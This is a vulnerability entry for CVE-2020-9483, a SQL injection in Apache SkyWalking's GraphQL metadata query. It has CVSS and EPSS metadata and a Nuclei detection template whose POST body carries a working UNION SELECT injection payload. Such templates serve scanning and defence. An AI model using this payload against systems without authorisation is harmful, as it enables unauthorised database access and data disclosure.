SecurityContext

CVE-2020-9483: SkyWalking SQLI

Classification

  • Cwe: CWE-89
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.34057
  • Epss percentile: 0.98438
  • Cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: skywalking
  • Vendor: apache

Products

ProductIndexedUrl
apache:skywalkingyes/v1/products/apache/skywalking

Labels

  • Name: Apache SkyWalking - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, leading to data disclosure or modification.
  • Remediation: Update to the latest version of Apache SkyWalking that addresses this issue or apply patches that fix SQL parameter handling.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-9483
  • Not known: requirements

```yaml

id: CVE-2020-9483

info:

name: SkyWalking SQLI

author: pikpikcu

severity: high

description: |

When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

remediation: |

Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.

reference:

- https://github.com/apache/skywalking/pull/4639

- https://nvd.nist.gov/vuln/detail/CVE-2020-9483

- https://github.com/Elsfa7-110/kenzer-templates

- https://github.com/developer3000S/PoC-in-GitHub

- https://github.com/pen4uin/awesome-vulnerability-research

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2020-9483

cwe-id: CWE-89

epss-score: 0.34057

epss-percentile: 0.98438

cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: apache

product: skywalking

tags: cve,cve2020,sqli,skywalking,apache,vuln

http:

- method: POST

path:

- "{{BaseURL}}/graphql"

body: |

{"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}

headers:

Content-Type: application/json

matchers-condition: and

matchers:

- type: word

part: header

words:

- "Content-Type: application/json"

- type: word

part: body

words:

- "UNION SELECT 1,CONCAT('~','9999999999','~')--"

- 'Exception while fetching data'

condition: and

- type: status

status:

- 200

digest: 4b0a00483046022100d1171b8845d02f957a170b39c6c58033612c74bf0c83e1ea39d16dc0348f4fb2022100d7e28805579eb4b63a12bc44134b8c8cae76e948a5d5cbe40874c42d69aa4d20:922c64590222798bb761d5b6d8e72950

```